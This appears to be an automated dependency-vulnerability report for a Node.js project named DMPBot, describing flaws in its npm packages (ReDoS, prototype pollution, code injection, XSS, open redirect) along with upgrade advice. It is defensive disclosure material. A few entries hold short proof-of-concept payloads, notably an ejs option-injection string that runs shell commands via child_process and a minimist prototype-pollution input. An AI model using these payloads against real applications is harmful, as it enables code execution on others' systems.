  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 jsdom@9.12.0 content-type-parser@1.0.2

Overview

content-type-parser is a Parse the value of the Content-Type header. content-type-parser package has been replaced by whatwg-mimetype.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (/^(.*?)\/(.*?)([\t ]*;.*)?$/) in order to parse user agents. This can cause a very moderate impact of about 4 seconds matching time for data 30k characters long.

Note: content-type-parser has been replaced by the whatwg-mimetype package and the fix for this vulnerability can be found within whatwg-mimetype.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for content-type-parser.

References

medium severity

Improper Control of Dynamically-Managed Code Resources

  • Vulnerable module: ejs
  • Introduced through: soupselect@0.2.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.

Note:

Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.

Remediation

Upgrade ejs to version 3.1.10 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Denial of Service (DoS). The xz_decomp function in xzlib.c in libxml2 2.9.8, if --with-lzma is used, allows remote attackers to cause a denial of service (infinite loop) via a crafted XML file that triggers LZMA_MEMLIMIT_ERROR, as demonstrated by xmllint, a different vulnerability than CVE-2015-8035.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

medium severity

Inefficient Regular Expression Complexity

  • Vulnerable module: micromatch
  • Introduced through: matchdep@1.0.1

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 matchdep@1.0.1 micromatch@2.3.11

Overview

Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces() function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.

Remediation

Upgrade micromatch to version 4.0.8 or higher.

References

medium severity

Cross-site Scripting

  • Vulnerable module: express
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2
    Remediation: Upgrade to hubot@3.1.0.

Overview

express is a minimalist web framework.

Affected versions of this package are vulnerable to Cross-site Scripting due to improper handling of user input in the response.redirect method. An attacker can execute arbitrary code by passing malicious input to this method.

Note

To exploit this vulnerability, the following conditions are required:

  1. The attacker should be able to control the input to response.redirect()

  2. express must not redirect before the template appears

  3. the browser must not complete redirection before:

  4. the user must click on the link in the template

Remediation

Upgrade express to version 4.20.0, 5.0.0 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: express
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2
    Remediation: Upgrade to hubot@3.1.0.

Overview

express is a minimalist web framework.

Affected versions of this package are vulnerable to Open Redirect via the location() method in response.js.

Notes:

  1. Express 3 has reached End-of-Life and will not receive any updates to address this issue.

  2. This vulnerability is achievable only when: a request path begins with double slashes // and a relative path for redirection begins with ./ and is provided from user-controlled input and the Location header is set with that user-controlled input.

Remediation

Upgrade express to version 4.0.0 or higher.

References

medium severity

Improper Handling of Unexpected Data Type

  • Vulnerable module: on-headers
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 on-headers@1.0.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 compression@1.5.2 on-headers@1.0.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 connect-timeout@1.6.2 on-headers@1.0.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 express-session@1.11.3 on-headers@1.0.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 morgan@1.6.1 on-headers@1.0.2

Overview

Affected versions of this package are vulnerable to Improper Handling of Unexpected Data Type via the response.writeHead function. An attacker can manipulate HTTP response headers by passing an array to this function, potentially leading to unintended disclosure or modification of header information.

Workaround

This vulnerability can be mitigated by passing an object to response.writeHead() instead of an array.

Remediation

Upgrade on-headers to version 1.1.0 or higher.

References

medium severity

Reverse Tabnabbing

  • Vulnerable module: istanbul-reports
  • Introduced through: soupselect@0.2.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 nyc@14.1.1 istanbul-reports@2.2.7

Overview

Affected versions of this package are vulnerable to Reverse Tabnabbing because of no rel attribute in the link to https://istanbul.js.org/.

Remediation

Upgrade istanbul-reports to version 3.1.3 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: ejs
  • Introduced through: soupselect@0.2.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})

Remediation

Upgrade ejs to version 3.1.6 or higher.

References

medium severity

MPL-2.0 license

  • Module: symbol
  • Introduced through: gitio2@3.1.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 gitio2@3.1.0 gitio@2.3.0 yargs@4.1.0 pkg-conf@1.1.3 symbol@0.2.3

MPL-2.0 license

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: braces
  • Introduced through: matchdep@1.0.1

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 matchdep@1.0.1 micromatch@2.3.11 braces@1.8.5
    Remediation: Upgrade to matchdep@2.0.0.

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\{(,+(?:(\{,+\})*),*|,*(?:(\{,+\})*),+)\}) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.

Disclosure Timeline

  • Feb 15th, 2018 - Initial Disclosure to package owner
  • Feb 16th, 2018 - Initial Response from package owner
  • Feb 18th, 2018 - Fix issued
  • Feb 19th, 2018 - Vulnerability published

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade braces to version 2.3.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: debug
  • Introduced through: hubot@2.19.0 and mocha@3.5.3

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 debug@2.2.0
    Remediation: Upgrade to hubot@3.1.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 debug@2.2.0
    Remediation: Open PR to patch debug@2.2.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 send@0.13.0 debug@2.2.0
    Remediation: Upgrade to hubot@3.1.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 body-parser@1.13.3 debug@2.2.0
    Remediation: Open PR to patch debug@2.2.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 compression@1.5.2 debug@2.2.0
    Remediation: Open PR to patch debug@2.2.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 connect-timeout@1.6.2 debug@2.2.0
    Remediation: Open PR to patch debug@2.2.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 express-session@1.11.3 debug@2.2.0
    Remediation: Open PR to patch debug@2.2.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 finalhandler@0.4.0 debug@2.2.0
    Remediation: Open PR to patch debug@2.2.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 morgan@1.6.1 debug@2.2.0
    Remediation: Open PR to patch debug@2.2.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 serve-index@1.7.3 debug@2.2.0
    Remediation: Open PR to patch debug@2.2.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 serve-static@1.10.3 send@0.13.2 debug@2.2.0
    Remediation: Open PR to patch debug@2.2.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 mocha@3.5.3 debug@2.6.8
    Remediation: Upgrade to mocha@4.0.0.

Overview

debug is a small debugging utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors via manipulation of the str argument. The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.

Note: CVE-2017-20165 is a duplicate of this vulnerability.

PoC

Use the following regex in the %o formatter.

/\s*\n\s*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade debug to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: mime
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 send@0.13.0 mime@1.3.4
    Remediation: Upgrade to hubot@3.1.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 serve-static@1.10.3 send@0.13.2 mime@1.3.4
    Remediation: Open PR to patch mime@1.3.4.

Overview

mime is a comprehensive, compact MIME type module.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex /.*[\.\/\\]/ in its lookup, which can cause a slowdown of 2 seconds for 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade mime to version 1.4.1, 2.0.3 or higher.

References

low severity

Prototype Pollution

  • Vulnerable module: minimist
  • Introduced through: mocha@3.5.3 and hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 mocha@3.5.3 mkdirp@0.5.1 minimist@0.0.8
    Remediation: Upgrade to mocha@6.2.3.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 mkdirp@0.5.1 minimist@0.0.8

Overview

minimist is a parse argument options module.

Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype.

Notes:

  • This vulnerability is a bypass to CVE-2020-7598

  • The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.

PoC by Snyk

require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade minimist to version 0.2.4, 1.2.6 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ms
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to hubot@3.1.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 send@0.13.0 ms@0.7.1
    Remediation: Upgrade to hubot@3.1.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 debug@2.2.0 ms@0.7.1
    Remediation: Open PR to patch ms@0.7.1.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 send@0.13.0 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to hubot@3.1.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 connect-timeout@1.6.2 ms@0.7.1
    Remediation: Open PR to patch ms@0.7.1.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 body-parser@1.13.3 debug@2.2.0 ms@0.7.1
    Remediation: Open PR to patch ms@0.7.1.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 compression@1.5.2 debug@2.2.0 ms@0.7.1
    Remediation: Open PR to patch ms@0.7.1.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 connect-timeout@1.6.2 debug@2.2.0 ms@0.7.1
    Remediation: Open PR to patch ms@0.7.1.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 express-session@1.11.3 debug@2.2.0 ms@0.7.1
    Remediation: Open PR to patch ms@0.7.1.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 finalhandler@0.4.0 debug@2.2.0 ms@0.7.1
    Remediation: Open PR to patch ms@0.7.1.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 morgan@1.6.1 debug@2.2.0 ms@0.7.1
    Remediation: Open PR to patch ms@0.7.1.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 serve-index@1.7.3 debug@2.2.0 ms@0.7.1
    Remediation: Open PR to patch ms@0.7.1.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 serve-static@1.10.3 send@0.13.2 ms@0.7.1
    Remediation: Open PR to patch ms@0.7.1.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 serve-static@1.10.3 send@0.13.2 debug@2.2.0 ms@0.7.1
